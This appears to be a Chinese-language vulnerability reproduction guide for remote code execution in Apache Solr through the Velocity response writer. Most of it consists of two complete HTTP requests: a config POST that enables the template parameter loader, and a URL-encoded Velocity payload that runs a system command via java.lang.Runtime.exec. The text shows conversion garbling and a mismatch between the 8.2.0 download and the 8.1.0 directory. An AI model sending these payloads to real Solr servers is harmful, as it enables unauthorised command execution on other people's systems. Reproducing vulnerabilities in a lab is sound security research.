Apache Solr Velocity模闆遠端代碼執行漏洞複現

1. 下載下傳漏洞環境https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip

   

2. 解壓以後,進入

   solr-8.1.0/bin

   目錄

   使用

   ./solr -e dih -force

   開啟漏洞環境

   

3. 通路

   http://youip:8983/solr/#/

   進入主界面

   

4. 點選左側的

   Core Selector

   檢視集合名稱，可以看到每個項目下都有config檔案，下面以db示範。

   

5. 使用如下payload

   修改集合設定

   POST /solr/db/config HTTP/1.1
   Host: youip:8983
   Pragma: no-cache
   Cache-Control: no-cache
   Accept: application/json, text/plain, */*
   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
   Accept-Encoding: gzip, deflate
   Content-Type: application/json
   Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
   Connection: close
   Content-Length: 263
   
   {
     "update-queryresponsewriter": {
       "startup": "lazy",
       "name": "velocity",
       "class": "solr.VelocityResponseWriter",
       "template.base.dir": "",
       "solr.resource.loader.enabled": "true",
       "params.resource.loader.enabled": "true"
     }
   }
              

   

6. 指令執行

   GET /solr/db/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
   Host: youip:8983
   Pragma: no-cache
   Cache-Control: no-cache
   Accept: application/json, text/plain, */*
   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
   Accept-Encoding: gzip, deflate
   Content-Type: application/json
   Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
   Connection: close
   Content-Length: 0